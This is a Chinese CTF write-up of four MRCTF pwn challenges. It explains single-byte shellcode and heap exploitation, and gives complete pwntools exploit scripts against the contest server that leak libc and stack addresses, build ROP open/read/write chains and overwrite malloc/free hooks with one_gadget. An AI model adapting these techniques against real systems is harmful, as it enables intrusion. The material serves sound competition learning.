mrctf_pwn_wp

比赛做了四个pwn,差个c++

8-bit adventure

个人比较喜欢的一个题,觉得挺有意思的

只允许输入一个字节的指令(int 0x80)除外,中间用nop隔开了,同时还开了沙箱

既然这样的话,我们就需要利用单个字节的指令完成整个orw链

很明显,read和write的第一个参数和第三个都比较小,都可以通过inc和dec来直接计算出来

而第二个参数也不难,只需要一个任意可以读写的地址即可,如果寄存器里有的话就直接用,没有就栈上pop

难点在于”/flag\x00”的构造

很明显,使用inc和dec来计算出来并不实际,但是计算逐个字节的数据是可以的

那么如何逐个字节地写入某一地址呢?

这里我用的是movsb指令,它的作用就是把esi指向处的一个字节移入edi指向处,同时esi和edi的指针+1

只需要将栈上的某个栈地址pop进esi,在寄存器中逐个字节计算”/flag\x00”,push进栈(刚好是esi地址指向处),然后movsb,即可在edi指向处构造出”/flag\x00”的字符串

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
from pwn import *
context.log_level='debug'
context.arch='i386'
local=0
if local:
sh=process('./pwn')
else:
sh=remote("node.mrctf.fun",10301)

sa = lambda s,n : sh.sendafter(s,n)
sla = lambda s,n : sh.sendlineafter(s,n)
sl = lambda s : sh.sendline(s)
sd = lambda s : sh.send(s)
rc = lambda n : sh.recv(n)
ru = lambda s : sh.recvuntil(s)
ti = lambda : sh.interactive()
leak = lambda name,addr :log.success(name+":"+hex(addr))

# pause()
payload="\x5e"*11#pop esi
payload+="\x59"*7#pop ecx
#open

#"/"
payload+="\x41"*0x2e#inc ecx
payload+="\x51"#push ecx
payload+="\xa4"#movsb
payload+="\x4e"#dec esi
payload+="\x59"#pop ecx

#"f"
payload+="\x41"*0x37#inc ecx
payload+="\x51"#push ecx
payload+="\xa4"#movsb
payload+="\x4e"#dec esi
payload+="\x59"#pop ecx

#"l"
payload+="\x41"*6#inc ecx
payload+="\x51"#push ecx
payload+="\xa4"#movsb
payload+="\x4e"#dec esi
payload+="\x59"#pop ecx

#"a"
payload+="\x49"*11#dec ecx
payload+="\x51"#push ecx
payload+="\xa4"#movsb
payload+="\x4e"#dec esi
payload+="\x59"#pop ecx

#"g"
payload+="\x41"*6#inc ecx
payload+="\x51"#push ecx
payload+="\xa4"#movsb
payload+="\x4e"#dec esi
payload+="\x59"#pop ecx

#"\x00"
payload+="\x49"*0x67#dec ecx
payload+="\x51"#push ecx
payload+="\xa4"#movsb
payload+="\x4e"#dec esi
payload+="\x59"#pop ecx

payload+="\x4f"*6#dec edi
payload+="\x57"#push edi
payload+="\x5b"#pop ebx

payload+="\x41"*5#inc ecx
payload+="\x51"#push ecx
payload+="\x58"#pop eax
payload+="\x49"*5#dec ecx

payload+="\xcd"#int 0x80

#read
payload+="\x50"#push eax
payload+="\x5b"#pop ebx
payload+="\x57"#push edi
payload+="\x59"#pop ecx
payload+="\x42"*0x40#inc edx
payload+="\x40"*3#inc eax
payload+="\xcd"#int 0x80

#write
payload+="\x43"*4#inc ebx
payload+="\x53"#push ebx
payload+="\x58"#pop eax
payload+="\x4b"*3#dec ebx
payload+="\xcd"#int 0x80

sla("Give me your code\n",payload)
ti()

strange_heap

问就是非预期,自动忽略check函数

由于程序基地址可知,申请到bss段修改show_edit_times_a和show_edit_times_b,使得次数不限

同时写chunks数组,与上面配合起来实现任意地址读写

泄露offset后读出bss段上的flag即可(一次只能输出0x20字节,需要泄露两次)

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
from pwn import *
context.log_level='debug'
context.arch='amd64'
local=0
if local:
sh=process('./pwn')
else:
sh=remote("node.mrctf.fun",10009)

sa = lambda s,n : sh.sendafter(s,n)
sla = lambda s,n : sh.sendlineafter(s,n)
sl = lambda s : sh.sendline(s)
sd = lambda s : sh.send(s)
rc = lambda n : sh.recv(n)
ru = lambda s : sh.recvuntil(s)
ti = lambda : sh.interactive()
leak = lambda name,addr :log.success(name+":"+hex(addr))

def add(idx,content):
sla("Show me your choice: ","1")
sla("index: ",str(idx))
sa("content: ",content)
def delete(idx):
sla("Show me your choice: ","2")
sla("index: ",str(idx))
def edit(idx,content):
sla("Show me your choice: ","5")
sla("index: ",str(idx))
sla("Your choice(0 for show/1 for edit):","1")
sa("content: ",content)
def show(idx):
sla("Show me your choice: ","5")
sla("index: ",str(idx))
sla("Your choice(0 for show/1 for edit):","0")

sleep(1)

add(0,'a'*0xa0)
delete(0)
show(0)
ru("\n")
ru("\x00"*8)
heap_addr=u64(rc(6).ljust(8,"\x00"))
leak("heap_addr",heap_addr)

ru("0x")
key_addr=int(rc(12),16)
leak("key_addr",key_addr)
base_addr=key_addr-0x5120
leak("base_addr",base_addr)

edit(0,p64(base_addr+0x5248))
add(1,'a')

offset=base_addr+0x5224
chunk=base_addr+0x5260
payload=p64(0x10)+p64(heap_addr+0x10)*2
payload+=p64(offset)#0
payload+=p64(chunk)
payload=payload.ljust(0xa0,"\x00")
add(2,payload)

show(0)
ru("\n")
off=u64(rc(2).ljust(8,"\x00"))
flag_addr=key_addr+off

edit(1,p64(flag_addr))
show(0)
ru("\n")
data=sh.recvline()

ti()

strange_heap revenge

尴尬了,心疼出题人一秒,我还是非预期hhh

虽然这次出题人不再将flag放在bss段(运行了一下远端的bss段上好像还有是怎么回事),但接上述方法,这次要连着create_times一起控制,实现更多数据的写入

然后还是任意读写

泄露libc,然后泄露栈地址,再申请到栈上执行orw

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
from pwn import *
context.log_level='debug'
context.arch='amd64'
local=0
if local:
sh=process('./pwn')
else:
sh=remote("node.mrctf.fun",10037)
libc=ELF('libc-2.27.so')
sa = lambda s,n : sh.sendafter(s,n)
sla = lambda s,n : sh.sendlineafter(s,n)
sl = lambda s : sh.sendline(s)
sd = lambda s : sh.send(s)
rc = lambda n : sh.recv(n)
ru = lambda s : sh.recvuntil(s)
ti = lambda : sh.interactive()
leak = lambda name,addr :log.success(name+":"+hex(addr))

def add(idx,content):
sla("Show me your choice: ","1")
sla("index: ",str(idx))
sa("content: ",content)
def delete(idx):
sla("Show me your choice: ","2")
sla("index: ",str(idx))
def edit(idx,content):
sla("Show me your choice: ","5")
sla("index: ",str(idx))
sla("Your choice(0 for show/1 for edit):","1")
sa("content: ",content)
def show(idx):
sla("Show me your choice: ","5")
sla("index: ",str(idx))
sla("Your choice(0 for show/1 for edit):","0")

sleep(1)

add(0,'a'*0xa0)
delete(0)
show(0)
ru("\n")
ru("\x00"*8)
heap_addr=u64(rc(6).ljust(8,"\x00"))
leak("heap_addr",heap_addr)

ru("0x")
key_addr=int(rc(12),16)
leak("key_addr",key_addr)
base_addr=key_addr-0x5120
leak("base_addr",base_addr)

edit(0,p64(base_addr+0x5228))
add(1,p64(0))

offset=base_addr+0x5224
chunk=base_addr+0x5260
free_got=base_addr+0x5018

payload=p64(0)+p64(heap_addr+0x1450)
payload+=p64(0)+p64(heap_addr+0x1450)
payload+=p64(0x20)+p64(heap_addr+0x10)*2
payload+=p64(free_got)#0
payload+=p64(chunk)
payload=payload.ljust(0xa0,"\x00")
add(2,payload)

show(0)
free_addr=u64(ru("\x7f")[-6:].ljust(8,"\x00"))
leak("free_addr",free_addr)
libc_base=free_addr-libc.sym['free']
leak("libc_base",libc_base)
free_hook=libc_base+libc.sym['__free_hook']
setcontext=libc_base+libc.sym['setcontext']
environ=libc_base+libc.sym['environ']

open_addr=libc_base+libc.sym['open']
read=libc_base+libc.sym['read']
puts=libc_base+libc.sym['puts']


edit(1,p64(environ)[:6])
show(0)
stack_addr=u64(ru("\x7f")[-6:].ljust(8,"\x00"))
leak("stack_addr",stack_addr)

edit(1,p64(heap_addr+0x88)[:6])
edit(0,p64(stack_addr-0x118))
leak("base_addr",base_addr)

poprdi=libc_base+0x00000000000215bf
poprsi=libc_base+0x0000000000023eea
poprdx_rsi=libc_base+0x0000000000130569

payload="./flag\x00\x00"
payload+=p64(poprdi)+p64(stack_addr-0x118)
payload+=p64(poprdx_rsi)+p64(0)*2
payload+=p64(open_addr)

payload+=p64(poprdi)+p64(3)
payload+=p64(poprdx_rsi)+p64(0x50)+p64(heap_addr+0x1450)
payload+=p64(read)

payload+=p64(poprdi)+p64(heap_addr+0x1450)
payload+=p64(puts)
add(2,payload)
ti()

super32

很开心拿了这题的一血和唯一一个解,这题需要花点时间逆向,漏洞点如下:

mrctf!貌似本来是填充在加密字符后用的吧,这里解密的时候可以控制输入的话,就可以实现堆溢出了

实现溢出,造成堆块重叠,切割unsorted bin控制tcache指针

这题的加密解密等为实操增加了难度,到最后实现起来那一步的时候条件有点苛刻了,好嘛,那就不写system了,直接one_gadget写到free_hook就完事

(脚本里是写到malloc_hook,不过都是ok的)

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
from pwn import *
context.log_level='debug'
context.arch='amd64'
local=0
if local:
sh=process('./pwn')
else:
sh=remote("node.mrctf.fun",10010)
libc=ELF('libc-2.32.so')
sa = lambda s,n : sh.sendafter(s,n)
sla = lambda s,n : sh.sendlineafter(s,n)
sl = lambda s : sh.sendline(s)
sd = lambda s : sh.send(s)
rc = lambda n : sh.recv(n)
ru = lambda s : sh.recvuntil(s)
ti = lambda : sh.interactive()
leak = lambda name,addr :log.success(name+":"+hex(addr))
one_gadget=[0xdf54c,0xdf54f,0xdf552]
def encode(code):
sla(">> ","1")
sa("Plz input ur code:",code)
def decode1():
sla(">> ","2")
sla("1.Get code from encode list.\n2.Input ur code.","1")
def decode2(code):
sla(">> ","2")
sla("1.Get code from encode list.\n2.Input ur code.","2")
sa("Plz input ur code:",code)
def show():
sla(">> ","3")
def delete():
sla(">> ","4")

sleep(1)

decode2("!!!!!!!!\n")

delete()

encode('\n')
show()
ru("1.")
heap_addr=u64(sh.recvline()[:-1].ljust(8,"\x00"))
leak("heap_addr",heap_addr)
heap_base=heap_addr<<12
leak("heap_base",heap_base)

#clear
decode1()
delete()

for i in range(7):
decode2('a'*0xf0+"\n")

for i in range(7):
delete()
for i in range(7):
decode2('a'*0xb0+"\n")

payload='a'*24+"\xb1"+"\n"
encode(payload)
show()
ru("1.")
data=sh.recvline()[:-1]
f1_key=data[-1]
print f1_key

decode2('a'*0xb0+"\n")
decode2('a'*0xb0+"\n")
decode1()
decode2("!!!!!!!!\n")
decode2("aaaaaaaa\n")
for i in range(7):
delete()
#unsorted bin
delete()

encode('aaaaa\n')
show()

addr=u64(ru("\x7f")[-6:].ljust(8,"\x00"))
leak("addr",addr)
libc_base=addr-0x1e3c80
leak("libc_base",libc_base)
free_hook=libc_base+libc.sym['__free_hook']-0x10
system=libc_base+libc.sym['system']
malloc_hook=libc_base+libc.sym['__malloc_hook']-0x10
leak("free_hook",free_hook)

payload="/bin/sh;"+"\n"
encode(payload)
decode1()

payload="mrctf!"
payload+=data[6:-1]
payload+=f1_key+"\n"
decode2(payload)

key=heap_base+0x1100-0x410
key=key>>12
key=key^malloc_hook

encode('a'*16+p64(key)+"\n")
show()

ru("2.")
data=rc(36)
print data
# pause()
delete()
delete()
delete()
delete()

payload='a'*50+"\n"
encode(payload)

decode2(data+"\n")
leak("key",key)
show()

ru('a'*16)
dt=u64(ru("\x7f")[-6:].ljust(8,"\x00"))
leak("dt",dt)
leak("key",key)
pause()
one=libc_base+one_gadget[1]
encode(p64(one)+"\n")
show()

ru("4.")
data=sh.recvline()[:-7]

encode("\n")

delete()
delete()

decode2(data+"!\n")
leak("one",one)
sla(">> ","1")
sa("Plz input ur code:",'a\n')
ti()
0%